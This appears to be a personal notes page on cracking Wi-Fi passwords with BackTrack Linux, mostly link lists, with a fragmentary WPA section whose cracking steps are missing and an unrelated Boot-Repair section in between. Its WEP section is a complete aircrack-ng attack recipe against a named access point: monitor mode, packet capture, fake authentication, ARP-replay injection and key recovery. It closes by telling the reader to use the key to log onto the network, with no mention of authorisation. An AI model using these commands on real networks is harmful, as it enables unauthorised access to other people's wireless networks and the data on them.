2Wire WPA Brute Force

Hardware Selection

• aircrack-ng.org/doku.php?id=compatibility_drivers
• madwifi-project.org/wiki/Compatibility
• stackoverflow.com/questions/4638324/nvidia-vs-amd-gpgpu-performance

Install BackTrack Linux

• backtrack-linux.org
• backtrack-linux.org/forums/backtrack-5-beginners-section/41664-removing-nouveau-driver-nvida-cuda-installation.html

For me it was best to install BackTrack as a partition on the hard drive, rather than running from USB. The problem with USB for me was I could not get BackTrack 5 to work with persistence on USB.

Capture WPA Handshake

After handshake has been captured it will show on the terminal



6. The captured handshake will be stored in 2WIRE422-01.cap

Crack

Links

backtrack-linux.org/wiki/index.php/CUDA_On_BackTrack
forum.aircrack-ng.org/index.php?topic=11633.0
lifeofaprogrammergeek.blogspot.com/2008/05/cuda-development-in-ubuntu.html
singhvishwajeet.com/2009/09/16/solving-the-build-error-python-h-no-such-file-or-directory-on-ubuntu
smallnetbuilder.com/wireless/wireless-howto/30278-how-to-crack-wpa--wpa2
ubuntuforums.org/showthread.php?t=394847

Boot-Repair

Boot-Repair is a small graphical tool to restore access to Ubuntu and other OS (Windows..).

• One "Recommended repair" button to repair most frequent boot problems. (generally repair filesystems and reinstall Grub2)
• Another button to create a Boot-Info-Script summary in 1 click
• Options to reinstall Grub2 easily (OS by default, purge, unhide, kernel options..), and other advanced options (MBR restore...).

Boot-Repair is a free software, licensed under GNU-GPL. Boot-Repair is not officially supported by Canonical, use it at your own risks.

Links

help.ubuntu.com/community/Boot-Repair
help.ubuntu.com/community/Grub2#Reinstalling_GRUB2
help.ubuntu.com/community/WindowsDualBoot

Crack WEP

Hardware selection
aircrack-ng.org/doku.php?id=compatibility_drivers

madwifi-project.org/wiki/Compatibility

Install BackTrack Linux
backtrack-linux.org

Test hardware
List interfaces

airmon-ng

Enable monitor mode

airmon-ng start wlan0

Test injection

aireplay-ng --test mon0

Assoicate with the AP
Find target AP

airodump-ng mon0

Start capture

airodump-ng -c 11 --bssid 30:46:9A:A3:7C:06 -w GOBIN mon0

Fake authentication with AP

aireplay-ng --fakeauth 0 -a 30:46:9A:A3:7C:06 mon0

Interactive frame selection attack

aireplay-ng --interactive -p 0841 -c FF:FF:FF:FF:FF:FF -a 30:46:9A:A3:7C:06 mon0

WEP-encrypted ARP request packets are typically either 68 (from a wireless client) or 86 (from a wired client) bytes.

Standard ARP-request replay attack
Use this attack only if there is an active client.

aireplay-ng --arpreplay -b 30:46:9A:A3:7C:06 mon0

Crack

aircrack-ng GOBIN-01.cap

It is usually 10000-34000 IVs to find the key. The WEP key appears next to "KEY FOUND". Drop the colons and enter it to log onto the network.

Links

aircrack-ng.org/doku.php?id=i_am_injecting_but_the_ivs_don_t_increase
backtrack-linux.org/forums/backtrack-5-beginners-section/40837-injection-working-but-no-data-increase.html
backtrack-linux.org/forums/backtrack-5-beginners-section/41824-cant-get-arp-request-0-pps-packet-sent.html
lifehacker.com/5305094/how-to-crack-a-wi+fi-networks-wep-password-with-backtrack

WPA-PSK Rainbow Tables

renderlab.net/projects/WPA-tables





References:
forum.hitb.org/viewtopic.php?f=25&t=17487
megapanzer.com/2009/10/02/how-to-crack-wpawpa2
smallnetbuilder.com/wireless/wireless-howto/30278-how-to-crack-wpa--wpa2
ubuntuforums.org/showthread.php?t=394847